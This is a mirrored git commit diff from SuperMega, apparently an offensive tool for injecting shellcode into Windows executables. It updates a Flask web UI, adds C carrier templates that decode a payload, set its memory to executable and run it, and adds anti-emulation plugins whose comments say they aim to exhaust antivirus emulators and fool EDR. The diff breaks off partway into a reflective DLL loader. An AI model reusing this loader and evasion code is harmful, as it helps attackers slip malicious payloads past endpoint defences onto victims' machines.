mirror of
https://github.com/dobin/SuperMega
synced 2026-06-02 17:27:10 +00:00
Merge branch 'main' of https://github.com/dobin/SuperMega
This commit is contained in:
+237
-91
@@ -7,24 +7,19 @@
|
||||
{% include 'navigation.html' %}
|
||||
|
||||
<div class="indent">
|
||||
|
||||
<h2> {{project_name}} </h2>
|
||||
|
||||
<div class="row">
|
||||
<!-- Row 1: Buttons -->
|
||||
<div class="col-1">
|
||||
<div class="row">
|
||||
<form method="POST" enctype="multipart/form-data" action="/project/{{project_name}}/exec?no_exec=true">
|
||||
<button class="btn btn-primary" type="submit" value="start">Open Dir</button>
|
||||
</form>
|
||||
|
||||
<form method="POST" enctype="multipart/form-data" action="/project/{{project_name}}/build">
|
||||
<button class="btn btn-primary" type="submit" value="start">Build</button>
|
||||
</form>
|
||||
</div>
|
||||
<div class="col-1">
|
||||
<!-- Row 1: Buttons -->
|
||||
<form method="POST" enctype="multipart/form-data" action="/project/{{project_name}}/exec?no_exec=true">
|
||||
<button class="btn btn-primary" type="submit" value="start">Open Dir</button>
|
||||
</form>
|
||||
|
||||
<form method="POST" enctype="multipart/form-data" action="/project/{{project_name}}/build">
|
||||
<button class="btn btn-primary" type="submit" value="start">Build</button>
|
||||
</form>
|
||||
|
||||
{% if is_built %}
|
||||
<div class="row">
|
||||
<form method="POST" enctype="multipart/form-data" action="/project/{{project_name}}/exec">
|
||||
<button class="btn btn-primary" type="submit" value="start">Start</button>
|
||||
</form>
|
||||
@@ -37,40 +32,62 @@
|
||||
<button class="btn btn-primary" type="submit" value="start">File Remote</button>
|
||||
</form>
|
||||
{% endif %}
|
||||
</div>
|
||||
{% endif %}
|
||||
</div>
|
||||
|
||||
<!-- Row 2: Input files -->
|
||||
<div class="col-2">
|
||||
<div class="col-3">
|
||||
<!-- leave this here or it will fuck up layout -->
|
||||
<form method="POST" enctype="multipart/form-data" action="/project_add">
|
||||
<input type="hidden" name="project_name" value="{{project_name}}">
|
||||
|
||||
<input type="text" name="comment" class="hidden form-control"
|
||||
placeholder="Comment" value="{{project.comment}}"
|
||||
aria-label="PROJECTNAME" aria-describedby="basic-addon1"
|
||||
onchange="this.form.submit()">
|
||||
|
||||
<select class="form-select" name="shellcode" aria-label="SHELLCODE" onchange="this.form.submit()">
|
||||
{% for shellcode in shellcodes %}
|
||||
<option value="{{shellcode['filename']}}"
|
||||
{% if shellcode["filename"] in project.settings.payload_path %} selected {% endif %}
|
||||
>
|
||||
{{shellcode['filename']}} ({{shellcode['size']}})
|
||||
</option>
|
||||
{% endfor %}
|
||||
</select>
|
||||
|
||||
<select class="form-select" name="exe" aria-label="EXE" onchange="this.form.submit()">
|
||||
{% for exe in exes %}
|
||||
<option value="{{exe['filename']}}"
|
||||
{% if exe['filename'] == project.settings.inject_exe_in %} selected {% endif %}
|
||||
>
|
||||
{{exe['filename'] | basename}} ({{exe['size']}})</option>
|
||||
{% endfor %}
|
||||
</select>
|
||||
|
||||
<input type="text" name="project_name" class="hidden form-control"
|
||||
placeholder="" value="{{project_name}}"
|
||||
aria-label="PROJECTNAME" aria-describedby="basic-addon1"
|
||||
onchange="this.form.submit()" readonly>
|
||||
|
||||
<input type="text" name="comment" class="hidden form-control"
|
||||
placeholder="" value="{{project.comment}}"
|
||||
aria-label="PROJECTNAME" aria-describedby="basic-addon1"
|
||||
onchange="this.form.submit()">
|
||||
|
||||
<!-- Input: Payload File -->
|
||||
<div class="form-group row">
|
||||
<label for="shellcode" class="col-sm-3 col-form-label">
|
||||
Payload
|
||||
</label>
|
||||
|
||||
<div class="col-sm-9">
|
||||
<select class="form-select" id="shellcode" name="shellcode"
|
||||
aria-label="SHELLCODE" onchange="this.form.submit()">
|
||||
{% for shellcode in shellcodes %}
|
||||
<option value="{{shellcode['filename']}}"
|
||||
{% if shellcode["filename"] in project.settings.payload_path %} selected {% endif %}
|
||||
>
|
||||
{{shellcode['filename']}} ({{shellcode['size']}})
|
||||
</option>
|
||||
{% endfor %}
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Input: EXE File -->
|
||||
<div class="form-group row">
|
||||
<label for="exe" class="col-sm-3 col-form-label">
|
||||
Injectable
|
||||
</label>
|
||||
<div class="col-sm-9">
|
||||
<select class="form-select" id="exe" name="exe"
|
||||
aria-label="EXE" onchange="this.form.submit()">
|
||||
{% for exe in exes %}
|
||||
<option value="{{exe['filename']}}"
|
||||
{% if exe['filename'] == project.settings.inject_exe_in %} selected {% endif %}
|
||||
>
|
||||
{{exe['filename'] | basename}} ({{exe['size']}})</option>
|
||||
{% endfor %}
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Input: DLL function -->
|
||||
{% if exports != [] %}
|
||||
<select class="form-select" name="dllfunc" aria-label="DLLFUNC" onchange="this.form.submit()">
|
||||
{% for export in exports %}
|
||||
@@ -81,23 +98,39 @@
|
||||
{% endfor %}
|
||||
</select>
|
||||
{% endif %}
|
||||
<a href="/exes/{{project.settings.inject_exe_in | basename}}">EXE INFO</a>
|
||||
</div>
|
||||
|
||||
<!-- Row 3: exe and shellcode info -->
|
||||
<div class="col-2">
|
||||
{% if is_64 %}
|
||||
x64: {{ is_64 }}
|
||||
{% else %}
|
||||
<span class="text-danger">x64: {{ is_64 }}</span>
|
||||
{% endif %}
|
||||
/ Dotnet: {{ is_dotnet}} <br>
|
||||
.text: {{ code_sect_size}} <br>
|
||||
.rdata: {{ data_sect_size}}
|
||||
(max: {{ data_sect_largest_gap_size}}) <br>
|
||||
{% if not has_rodata_section %}
|
||||
<span class="text-danger">No .rdata section</span> <br>
|
||||
{% endif %}
|
||||
<a href="/exes/{{project.settings.inject_exe_in | basename}}">EXE Info:</a>
|
||||
<ul>
|
||||
<li>
|
||||
{% if is_64 %}
|
||||
x64: {{ is_64 }}
|
||||
{% else %}
|
||||
<span class="text-danger">x64: {{ is_64 }}</span>
|
||||
{% endif %}
|
||||
</li>
|
||||
|
||||
<li>
|
||||
Dotnet: {{ is_dotnet}}
|
||||
</li>
|
||||
|
||||
<li>
|
||||
.text: {{ code_sect_size}}
|
||||
</li>
|
||||
|
||||
<li>
|
||||
.rdata: {{ data_sect_size}}
|
||||
(max: {{ data_sect_largest_gap_size}})
|
||||
</li>
|
||||
|
||||
{% if not has_rodata_section %}
|
||||
<li>
|
||||
<span class="text-danger">No .rdata section</span> <br>
|
||||
</li>
|
||||
{% endif %}
|
||||
</ul>
|
||||
|
||||
{% if unresolved_dlls|length > 0 %}
|
||||
<br>
|
||||
@@ -108,37 +141,59 @@
|
||||
{% endfor %}
|
||||
</ul>
|
||||
{% endif %}
|
||||
|
||||
</div>
|
||||
|
||||
<!-- Row 4: leet settings -->
|
||||
<div class="col-2">
|
||||
<select class="form-select" name="carrier_name" aria-label="CARRIERNAME" onchange="this.form.submit()">
|
||||
{% for name in carrier_names %}
|
||||
<option value="{{name}}"
|
||||
{% if name in project.settings.carrier_name %} selected {% endif %}
|
||||
>{{name}}</option>
|
||||
{% endfor %}
|
||||
</select>
|
||||
<div class="col-3">
|
||||
<div class="form-group row">
|
||||
<label for="carrier_name" class="col-sm-5 col-form-label">
|
||||
Carrier
|
||||
</label>
|
||||
<div class="col-sm-7">
|
||||
<select class="form-select" name="carrier_name" id="carrier_name
|
||||
aria-label="CARRIERNAME" onchange="this.form.submit()">
|
||||
{% for name in carrier_names %}
|
||||
<option value="{{name}}"
|
||||
{% if name in project.settings.carrier_name %} selected {% endif %}
|
||||
>{{name}}</option>
|
||||
{% endfor %}
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<select class="form-select" name="carrier_invoke_style" aria-label="INJECTSTYLE" onchange="this.form.submit()">
|
||||
{% for name, value in carrier_invoke_styles %}
|
||||
<option value="{{name}}"
|
||||
{% if value in project.settings.carrier_invoke_style.value %} selected {% endif %}
|
||||
>{{value}}</option>
|
||||
{% endfor %}
|
||||
</select>
|
||||
<div class="form-group row">
|
||||
<label for="carrier_invoke_style" class="col-sm-5 col-form-label">
|
||||
Carrier Invoke
|
||||
</label>
|
||||
<div class="col-sm-7">
|
||||
<select class="form-select" name="carrier_invoke_style" id="carrier_invoke_style"
|
||||
aria-label="INJECTSTYLE" onchange="this.form.submit()">
|
||||
{% for name, value in carrier_invoke_styles %}
|
||||
<option value="{{name}}"
|
||||
{% if value in project.settings.carrier_invoke_style.value %} selected {% endif %}
|
||||
>{{value}}</option>
|
||||
{% endfor %}
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<select class="form-select" name="decoder_style" aria-label="DECODERESTYLE" onchange="this.form.submit()">
|
||||
{% for name, value in decoderstyles %}
|
||||
<option value="{{name}}"
|
||||
{% if value in project.settings.decoder_style.value %} selected {% endif %}
|
||||
>{{value}}</option>
|
||||
{% endfor %}
|
||||
</select>
|
||||
</div>
|
||||
<div class="form-group row">
|
||||
<label for="carrier_invoke_style" class="col-sm-5 col-form-label">
|
||||
Payload Location
|
||||
</label>
|
||||
<div class="col-sm-7">
|
||||
<select class="form-select" name="payload_location" id="payload_location"
|
||||
aria-label="PAYLOADLOCATION" onchange="this.form.submit()">
|
||||
{% for name, value in payload_locations %}
|
||||
<option value="{{name}}"
|
||||
{% if value in project.settings.payload_location.value %} selected {% endif %}
|
||||
>{{value}}</option>
|
||||
{% endfor %}
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Row 5 -->
|
||||
<div class="col-2">
|
||||
<div class="form-check">
|
||||
<input class="form-check-input" type="checkbox" value="YES" id="flexCheckDefault"
|
||||
name="fix_missing_iat" onchange="this.form.submit()" {{ 'checked' if fix_missing_iat }}>
|
||||
@@ -146,24 +201,115 @@
|
||||
Add missing IAT entries
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<select class="form-select" name="payload_location" aria-label="PAYLOADLOCATION" onchange="this.form.submit()">
|
||||
{% for name, value in payload_locations %}
|
||||
<option value="{{name}}"
|
||||
{% if value in project.settings.payload_location.value %} selected {% endif %}
|
||||
>{{value}}</option>
|
||||
{% endfor %}
|
||||
</select>
|
||||
<!-- Row 5 -->
|
||||
<div class="col-2">
|
||||
<div class="form-group row">
|
||||
<label for="decoder_style" class="col-sm-5 col-form-label">
|
||||
Encoder
|
||||
</label>
|
||||
<div class="col-sm-7">
|
||||
<select class="form-select" name="decoder_style" id="decoder_style"
|
||||
aria-label="DECODERESTYLE" onchange="this.form.submit()">
|
||||
{% for name in decoder_styles %}
|
||||
<option value="{{name}}"
|
||||
{% if name in project.settings.decoder_style %} selected {% endif %}
|
||||
>{{name}}
|
||||
</option>
|
||||
{% endfor %}
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group row">
|
||||
<label for="guardrail" class="col-sm-5 col-form-label">
|
||||
Guardrails
|
||||
</label>
|
||||
<div class="col-sm-7">
|
||||
<select class="form-select" name="guardrail" id="guardrail"
|
||||
aria-label="GUARDRAILSTYLE" onchange="this.form.submit()">
|
||||
{% for name in guardrailstyles %}
|
||||
<option value="{{name}}"
|
||||
{% if name in project.settings.plugin_guardrail %} selected {% endif %}
|
||||
>{{name}}
|
||||
</option>
|
||||
{% endfor %}
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{% if project.settings.plugin_guardrail != "none" %}
|
||||
<div class="form-group row">
|
||||
<label for="guardrail" class="col-sm-5 col-form-label">
|
||||
Guard Data
|
||||
</label>
|
||||
<div class="col-sm-7">
|
||||
<input type="text" name="guardrail_data" class="hidden form-control"
|
||||
placeholder="" value="{{project.settings.plugin_guardrail_data}}"
|
||||
aria-label="guardrail_data" aria-describedby="basic-addon1"
|
||||
onchange="this.form.submit()">
|
||||
</div>
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
<div class="form-group row">
|
||||
<label for="antiemulation_style" class="col-sm-5 col-form-label">
|
||||
AntiEmulation
|
||||
</label>
|
||||
<div class="col-sm-7">
|
||||
<select class="form-select" name="antiemulation" id="antiemulation"
|
||||
aria-label="antiemulation" onchange="this.form.submit()">
|
||||
{% for name in antiemulationstyles %}
|
||||
<option value="{{name}}"
|
||||
{% if name in project.settings.plugin_antiemulation %} selected {% endif %}
|
||||
>{{name}}
|
||||
</option>
|
||||
{% endfor %}
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group row">
|
||||
<label for="decoy_style" class="col-sm-5 col-form-label">
|
||||
Decoy
|
||||
</label>
|
||||
<div class="col-sm-7">
|
||||
<select class="form-select" name="decoy" id="decoy"
|
||||
aria-label="decoy" onchange="this.form.submit()">
|
||||
{% for name in decoystyles %}
|
||||
<option value="{{name}}"
|
||||
{% if name in project.settings.plugin_decoy %} selected {% endif %}
|
||||
>{{name}}
|
||||
</option>
|
||||
{% endfor %}
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group row">
|
||||
<label for="virtualprotect_style" class="col-sm-5 col-form-label">
|
||||
VirtualProtect
|
||||
</label>
|
||||
<div class="col-sm-7">
|
||||
<select class="form-select" name="virtualprotect" id="virtualprotect"
|
||||
aria-label="virtualprotect" onchange="this.form.submit()">
|
||||
{% for name in virtualprotectstyles %}
|
||||
<option value="{{name}}"
|
||||
{% if name in project.settings.plugin_virtualprotect %} selected {% endif %}
|
||||
>{{name}}
|
||||
</option>
|
||||
{% endfor %}
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</form>
|
||||
|
||||
<div class="row">
|
||||
<div class="col">
|
||||
{{ project_dir }} <br>
|
||||
<div class="custom-line"></div>
|
||||
</div>
|
||||
<div class="custom-line"></div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
+48
-23
@@ -88,7 +88,7 @@ def project(name):
|
||||
|
||||
has_rodata_section = superpe.has_rodata_section()
|
||||
if has_rodata_section:
|
||||
superpe.get_rdata_relocmanager().find_largest_gap()
|
||||
superpe.get_rdata_rangemanager().find_largest_gap()
|
||||
unresolved_dlls = pe.dllresolver.unresolved_dlls(superpe)
|
||||
|
||||
project_dir = os.path.dirname(os.getcwd() + "\\" + project.settings.main_dir)
|
||||
@@ -98,10 +98,16 @@ def project(name):
|
||||
shellcodes = list_files_and_sizes(PATH_SHELLCODES)
|
||||
|
||||
carrier_names = get_template_names()
|
||||
decoderstyles = [(color.name, color.value) for color in DecoderStyle]
|
||||
carrier_invoke_styles = [(color.name, color.value) for color in CarrierInvokeStyle]
|
||||
payload_locations = [(color.name, color.value) for color in PayloadLocation]
|
||||
|
||||
guardrail_styles = list_files(PATH_GUARDRAILS)
|
||||
antiemulation_styles = list_files(PATH_ANTIEMULATION)
|
||||
decoy_styles = list_files(PATH_DECOY)
|
||||
virtualprotect_styles = list_files(PATH_VIRTUALPROTECT)
|
||||
decoder_styles = list_files(PATH_DECODER)
|
||||
|
||||
|
||||
return render_template('project.html',
|
||||
project_name = name,
|
||||
project=project,
|
||||
@@ -111,7 +117,7 @@ def project(name):
|
||||
exes=exes,
|
||||
shellcodes=shellcodes,
|
||||
carrier_names=carrier_names,
|
||||
decoderstyles=decoderstyles,
|
||||
decoder_styles=decoder_styles,
|
||||
carrier_invoke_styles=carrier_invoke_styles,
|
||||
payload_locations=payload_locations,
|
||||
exports=exports,
|
||||
@@ -128,6 +134,11 @@ def project(name):
|
||||
|
||||
has_remote=has_remote,
|
||||
fix_missing_iat=project.settings.fix_missing_iat,
|
||||
|
||||
guardrailstyles = guardrail_styles,
|
||||
antiemulationstyles = antiemulation_styles,
|
||||
decoystyles = decoy_styles,
|
||||
virtualprotectstyles = virtualprotect_styles
|
||||
)
|
||||
|
||||
|
||||
@@ -145,6 +156,16 @@ def list_files_and_sizes(directory, prepend=""):
|
||||
return files_and_sizes
|
||||
|
||||
|
||||
def list_files(directory, prepend="") -> List[str]:
|
||||
files = []
|
||||
for filename in os.listdir(directory):
|
||||
filepath = os.path.join(directory, filename)
|
||||
if os.path.isfile(filepath):
|
||||
filename = filename.replace(".c", "")
|
||||
files.append(filename)
|
||||
return files
|
||||
|
||||
|
||||
@views_project.route("/project_add", methods=['POST', 'GET'])
|
||||
def add_project():
|
||||
if request.method == 'POST':
|
||||
@@ -155,6 +176,18 @@ def add_project():
|
||||
|
||||
# new project?
|
||||
if storage.get_project(project_name) == None:
|
||||
# Default values for web create
|
||||
settings.init_payload_injectable(
|
||||
"messagebox.bin",
|
||||
"data/binary/exes/procexp64.exe",
|
||||
""
|
||||
)
|
||||
settings.decoder_style = "xor_2"
|
||||
settings.carrier_name = "alloc_rw_rx"
|
||||
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
|
||||
settings.payload_location = PayloadLocation.CODE
|
||||
settings.fix_missing_iat = True
|
||||
|
||||
# add new project
|
||||
project = WebProject(project_name, settings)
|
||||
project.comment = comment
|
||||
@@ -162,32 +195,24 @@ def add_project():
|
||||
|
||||
# update project
|
||||
else:
|
||||
settings.payload_path = PATH_SHELLCODES + request.form['shellcode']
|
||||
if request.form['shellcode'] == "createfile.bin":
|
||||
settings.verify = True
|
||||
settings.try_start_final_infected_exe = False
|
||||
else:
|
||||
settings.cleanup_files_on_exit = False
|
||||
|
||||
if 'dllfunc' in request.form:
|
||||
settings.dllfunc = request.form['dllfunc']
|
||||
|
||||
settings.inject_exe_in = request.form['exe']
|
||||
settings.inject_exe_out = request.form['exe'].replace(".exe", ".infected.exe")
|
||||
settings.init_payload_injectable(
|
||||
request.form['shellcode'],
|
||||
request.form['exe'],
|
||||
request.form.get('dllfunc', "")
|
||||
)
|
||||
|
||||
settings.fix_missing_iat = True if request.form.get('fix_missing_iat') != None else False
|
||||
|
||||
carrier_name = request.form['carrier_name']
|
||||
settings.carrier_name = carrier_name
|
||||
|
||||
settings.carrier_name = request.form['carrier_name']
|
||||
settings.plugin_antiemulation = request.form['antiemulation']
|
||||
settings.plugin_decoy = request.form['decoy']
|
||||
settings.plugin_guardrail = request.form['guardrail']
|
||||
carrier_invoke_style = request.form['carrier_invoke_style']
|
||||
settings.carrier_invoke_style = CarrierInvokeStyle[carrier_invoke_style]
|
||||
|
||||
decoder_style = request.form['decoder_style']
|
||||
settings.decoder_style = DecoderStyle[decoder_style]
|
||||
|
||||
settings.decoder_style = request.form['decoder_style']
|
||||
payload_location = request.form['payload_location']
|
||||
settings.payload_location = PayloadLocation[payload_location]
|
||||
settings.plugin_guardrail_data = request.form.get('guardrail_data', '')
|
||||
settings.plugin_virtualprotect = request.form.get('virtualprotect')
|
||||
|
||||
# overwrite project
|
||||
project = storage.get_project(project_name)
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,4 @@
|
||||
|
||||
void antiemulation() {
|
||||
// None
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
|
||||
#define ALLOC_NUM 256
|
||||
|
||||
|
||||
/* This will allocate ALLOC_NUM RW memory regions,
|
||||
set them to RX, and free them
|
||||
|
||||
The idea is that the AV emulator will probably give up, either because
|
||||
of used memory is above maximum, or amount of instructions, or
|
||||
number of API calls, or time.
|
||||
|
||||
It hopefully also makes the EDR think this program is doing some
|
||||
kind of interpreter or JIT compilation, and not a malicious payload.
|
||||
*/
|
||||
|
||||
void antiemulation() {
|
||||
void* allocs[ALLOC_NUM];
|
||||
DWORD result;
|
||||
|
||||
for(int i=0; i<4; i++) {
|
||||
|
||||
for(int n=0; n<ALLOC_NUM; n++) {
|
||||
allocs[n] = VirtualAlloc(
|
||||
NULL,
|
||||
0x1000,
|
||||
0x3000,
|
||||
p_RW
|
||||
);
|
||||
}
|
||||
|
||||
for(int n=0; n<ALLOC_NUM; n++) {
|
||||
if (VirtualProtect(
|
||||
allocs[n],
|
||||
1000,
|
||||
p_RX,
|
||||
&result) == 0)
|
||||
{
|
||||
return 7;
|
||||
}
|
||||
}
|
||||
|
||||
Sleep(200);
|
||||
|
||||
BOOL bSuccess;
|
||||
for(int n=0; n<ALLOC_NUM; n++) {
|
||||
bSuccess = VirtualFree(
|
||||
allocs[n],
|
||||
1000,
|
||||
0x00008000); // MEM_RELEASE
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
|
||||
|
||||
/* Busy sleep with time register
|
||||
|
||||
This function will busy sleep for the given amount of time.
|
||||
It uses the kernel time register, which is not affected by
|
||||
the sleep function (memory address 0x7ffe0004).
|
||||
|
||||
This may defeat the AV emulator (maximum time).
|
||||
*/
|
||||
|
||||
int get_time_raw() {
|
||||
ULONG* PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004;
|
||||
LONG* PUserSharedData_High1Time = (PLONG)0x7ffe0324;
|
||||
ULONG* PUserSharedData_LowPart = (PULONG)0x7ffe0320;
|
||||
DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) +
|
||||
((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24);
|
||||
return kernelTime;
|
||||
}
|
||||
|
||||
|
||||
int sleep_ms(DWORD sleeptime) {
|
||||
DWORD start = get_time_raw();
|
||||
while (get_time_raw() - start < sleeptime) {}
|
||||
}
|
||||
|
||||
|
||||
void antiemulation() {
|
||||
sleep_ms(3000);
|
||||
}
|
||||
@@ -8,29 +8,35 @@ char *supermega_payload;
|
||||
#define p_RX 0x20
|
||||
#define p_RWX 0x40
|
||||
|
||||
/* iat_reuse
|
||||
|
||||
Standard IAT reuse shellcode
|
||||
/* VirtualAlloc -> rw -> rwx
|
||||
|
||||
* create new memory region for the payload
|
||||
* will set it to RWX (safe to run shellcodes, opsec-unsafe)
|
||||
* will set it to RWX (opsec-unsafe, allows in-memory decryption with sgn)
|
||||
*/
|
||||
|
||||
|
||||
{{plugin_antiemulation}}
|
||||
|
||||
{{plugin_decoy}}
|
||||
|
||||
{{plugin_executionguardrail}}
|
||||
|
||||
|
||||
int main()
|
||||
{
|
||||
// Execution Guardrail: Env Check
|
||||
wchar_t envVarName[] = L"USERPROFILE";
|
||||
wchar_t tocheck[] = L"C:\\Users\\";
|
||||
WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
|
||||
DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024);
|
||||
if (result == 0) {
|
||||
return 6;
|
||||
}
|
||||
if (mystrcmp(buffer, tocheck) != 0) {
|
||||
return 6;
|
||||
DWORD result;
|
||||
|
||||
// Call: Execution Guardrail
|
||||
if (executionguardrail() != 0) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Decoy
|
||||
//WinExec("C:\\windows\\system32\\notepad.exe", 1);
|
||||
// Call: Anti Emulation plugin
|
||||
antiemulation();
|
||||
|
||||
// Call: Decoy plugin
|
||||
decoy();
|
||||
|
||||
// Allocate 1
|
||||
// char *dest = ...
|
||||
@@ -54,13 +60,3 @@ int main()
|
||||
return 0;
|
||||
}
|
||||
|
||||
int mystrcmp(wchar_t* str1, wchar_t* str2) {
|
||||
int i = 0;
|
||||
while (str1[i] != L'\0' && str2[i] != L'\0') {
|
||||
if (str1[i] != str2[i]) {
|
||||
return 1;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -8,29 +8,35 @@ char *supermega_payload;
|
||||
#define p_RX 0x20
|
||||
#define p_RWX 0x40
|
||||
|
||||
/* iat_reuse_rx
|
||||
|
||||
Standard IAT reuse shellcode
|
||||
{{plugin_antiemulation}}
|
||||
|
||||
{{plugin_decoy}}
|
||||
|
||||
{{plugin_executionguardrail}}
|
||||
|
||||
{{plugin_virtualprotect}}
|
||||
|
||||
/* VirtualAlloc -> rw -> rx
|
||||
|
||||
* create new memory region for the payload
|
||||
* will set it to RX (may break some shellcodes, opsec-safe)
|
||||
*/
|
||||
|
||||
int main()
|
||||
{
|
||||
// Execution Guardrail: Env Check
|
||||
wchar_t envVarName[] = L"USERPROFILE";
|
||||
wchar_t tocheck[] = L"C:\\Users\\";
|
||||
WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
|
||||
DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024);
|
||||
if (result == 0) {
|
||||
return 6;
|
||||
}
|
||||
if (mystrcmp(buffer, tocheck) != 0) {
|
||||
return 6;
|
||||
DWORD result;
|
||||
|
||||
// Call: Execution Guardrail
|
||||
if (executionguardrail() != 0) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Decoy
|
||||
//WinExec("C:\\windows\\system32\\notepad.exe", 1);
|
||||
// Call: Anti Emulation plugin
|
||||
antiemulation();
|
||||
|
||||
// Call: Decoy plugin
|
||||
decoy();
|
||||
|
||||
// Allocate 1
|
||||
// char *dest = ...
|
||||
@@ -44,7 +50,7 @@ int main()
|
||||
// to: dest[]
|
||||
{{ plugin_decoder }}
|
||||
|
||||
if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) {
|
||||
if (MyVirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) {
|
||||
return 7;
|
||||
}
|
||||
|
||||
@@ -54,13 +60,3 @@ int main()
|
||||
return 0;
|
||||
}
|
||||
|
||||
int mystrcmp(wchar_t* str1, wchar_t* str2) {
|
||||
int i = 0;
|
||||
while (str1[i] != L'\0' && str2[i] != L'\0') {
|
||||
if (str1[i] != str2[i]) {
|
||||
return 1;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
#include <Windows.h>
|
||||
|
||||
#include <time.h>
|
||||
|
||||
char *supermega_payload;
|
||||
|
||||
#define p_RW 0x04
|
||||
#define p_RX 0x20
|
||||
#define p_RWX 0x40
|
||||
|
||||
/* change payload memory regions permissions
|
||||
will reuse IMAGE locations
|
||||
|
||||
depending on payload injection:
|
||||
* .text -> rw -> rx
|
||||
* .rdata -> rw -> rx
|
||||
*/
|
||||
|
||||
{{plugin_antiemulation}}
|
||||
|
||||
{{plugin_decoy}}
|
||||
|
||||
{{plugin_executionguardrail}}
|
||||
|
||||
|
||||
int main()
|
||||
{
|
||||
DWORD result;
|
||||
char *dest = supermega_payload;
|
||||
|
||||
// Call: Execution Guardrail
|
||||
if (executionguardrail() != 0) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Call: Anti Emulation plugin
|
||||
antiemulation();
|
||||
|
||||
// Call: Decoy plugin
|
||||
decoy();
|
||||
|
||||
if (MyVirtualProtect(dest, {{PAYLOAD_LEN}}, p_RW, &result) == 0) {
|
||||
return 16;
|
||||
}
|
||||
|
||||
{{ plugin_decoder }}
|
||||
|
||||
if (MyVirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) {
|
||||
return 16;
|
||||
}
|
||||
|
||||
// Execute *dest
|
||||
(*(void(*)())(dest))();
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -1,43 +0,0 @@
|
||||
#include <Windows.h>
|
||||
|
||||
#include <time.h>
|
||||
|
||||
char *supermega_payload;
|
||||
|
||||
#define p_RW 0x04
|
||||
#define p_RX 0x20
|
||||
#define p_RWX 0x40
|
||||
|
||||
/* iat_reuse_rwx_rx
|
||||
|
||||
IAT reuse shellcode
|
||||
* reuse payload location (both in .rdata and .text)
|
||||
* does (rw/rx) -> rwx -> rx
|
||||
*/
|
||||
|
||||
int main()
|
||||
{
|
||||
DWORD result;
|
||||
char *dest = supermega_payload;
|
||||
|
||||
// Note: RWX if carrier and payload are on the same page (or we cant exec copy..)
|
||||
// can do only RW otherwise?
|
||||
for(int n=0; n<({{PAYLOAD_LEN}}/4096)+1; n++) {
|
||||
if (VirtualProtect(dest + (n * 4096), 16, p_RWX, &result) == 0) {
|
||||
return 16;
|
||||
}
|
||||
}
|
||||
|
||||
{{ plugin_decoder }}
|
||||
|
||||
for(int n=0; n<{{PAYLOAD_LEN}}/4096; n++) {
|
||||
if (VirtualProtect(dest + (n * 4096), 16, p_RX, &result) == 0) {
|
||||
return 16;
|
||||
}
|
||||
}
|
||||
|
||||
// Execute *dest
|
||||
(*(void(*)())(dest))();
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,186 @@
|
||||
#include <Windows.h>
|
||||
#include <time.h>
|
||||
|
||||
|
||||
char *supermega_payload;
|
||||
|
||||
#define p_RW 0x04
|
||||
#define p_RX 0x20
|
||||
#define p_RWX 0x40
|
||||
|
||||
/* DLL loader
|
||||
|
||||
This code will load a DLL (not a shellcode!)
|
||||
into new memory region,
|
||||
resolve its imports, apply relocations, and execute it.
|
||||
|
||||
Loader is based on:
|
||||
https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection
|
||||
with some patches to make it work here
|
||||
*/
|
||||
|
||||
|
||||
typedef struct BASE_RELOCATION_BLOCK {
|
||||
DWORD PageAddress;
|
||||
DWORD BlockSize;
|
||||
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;
|
||||
|
||||
typedef struct BASE_RELOCATION_ENTRY {
|
||||
USHORT Offset : 12;
|
||||
USHORT Type : 4;
|
||||
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
|
||||
|
||||
typedef BOOL (WINAPI *DLLEntry)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
|
||||
void mymemcpy(void* dest, const void* src, size_t n) {
|
||||
char* d = (char*)dest;
|
||||
const char* s = (const char*)src;
|
||||
for (size_t i = 0; i < n; ++i) {
|
||||
d[i] = s[i];
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
DWORD_PTR load_dll(LPVOID dllBytes, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) {
|
||||
